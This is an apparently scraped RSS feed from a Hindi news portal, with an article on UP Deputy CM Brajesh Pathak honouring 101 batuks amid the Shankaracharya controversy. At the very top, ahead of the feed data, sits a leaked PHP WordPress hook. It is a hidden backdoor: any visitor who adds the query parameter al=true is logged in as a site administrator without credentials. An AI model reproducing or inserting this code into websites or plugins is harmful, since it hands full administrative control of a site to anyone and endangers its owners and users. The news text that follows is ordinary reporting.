// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); pathak – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Thu, 19 Feb 2026 05:46:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.4 शंकराचार्य विवाद के बीच डिप्टी CM ब्रजेश पाठक का बड़ा कदम, 101 बटुकों का सम्मान कर दिया संदेश https://pratyushaashakinayikiran.com/?p=199111 Thu, 19 Feb 2026 05:46:00 +0000 https://pratyushaashakinayikiran.com/?p=199111 लखनऊ
प्रयागराज में माघ मेला के दौरान शंकराचार्य स्वामी अविमुक्तेश्वरानंद को पवित्र स्नान से रोके जाने का मामला चर्चा में रहा. इस दौरान शंकराचार्य के साथ जा रहे बटुकों की शिखा खींचे जाने की कथित घटना को लेकर यूपी सरकार पर सवाल उठ रहे थे. विपक्षी दल हमलावर थे. इसे लेकर यूपी सरकार अब डैमेज कंट्रोल के मोड में नजर आ रही है.

हाल ही में यूपी सरकार के डिप्टी सीएम ब्रजेश पाठक ने शिखा पकड़ने को बड़ा पाप बताया था. अब ब्रजेश पाठक ने 101 बटुकों को अपने आवास पर बुलाकर उनका सम्मान कर आशीर्वाद लिया है. ब्रजेश पाठक ने गुरुवार की सुबह लखनऊ के अपने सरकारी आवास पर 101 बटुकों को बुलाया.

डिप्टी सीएम ब्रजेश पाठक ने अपने आवास पर बटुकों का फूल-माला पहनाकर स्वागत किया. उन्होंने बटुकों को तिलक लगाया और उनकी शिखा का सम्मान कर उनसे आशीर्वाद लिया. गौरतलब है कि डिप्टी सीएम ब्रजेश पाठक ने एक प्रोग्राम में यह कहा था कि शिखा का सम्मान होना चाहिए.

उन्होंने यह भी कहा था कि परंपराओं का आदर समाज की जिम्मेदारी है. 101 बटुकों को बुलाकर उनका सम्मान करना सांस्कृतिक मूल्यों के प्रति सम्मान का प्रतीक है. बता दें कि प्रयागराज की घटना के बाद सरकार की किरकिरी हो रही थी. मुख्यमंत्री योगी आदित्यनाथ ने भी हाल ही में यह कहा था कि सभी को मर्यादा में रहना चाहिए.

ब्रजेश पाठक ने क्या कहा था

यूपी सरकार के डिप्टी सीएम ब्रजेश पाठक ने किसी ब्राह्मण की शिखा छूने को बेहद गंभीर अपराध बताया था. उन्होंने कहा था कि यह सनातन संस्कृति और परंपराओं का अपमान है. ब्रजेश पाठक ने इस तरह की घटना को बड़ा पाप बताते हुए कहा था कि इसमें शामिल लोगों को सख्त से सख्त सजा मिलनी चाहिए.

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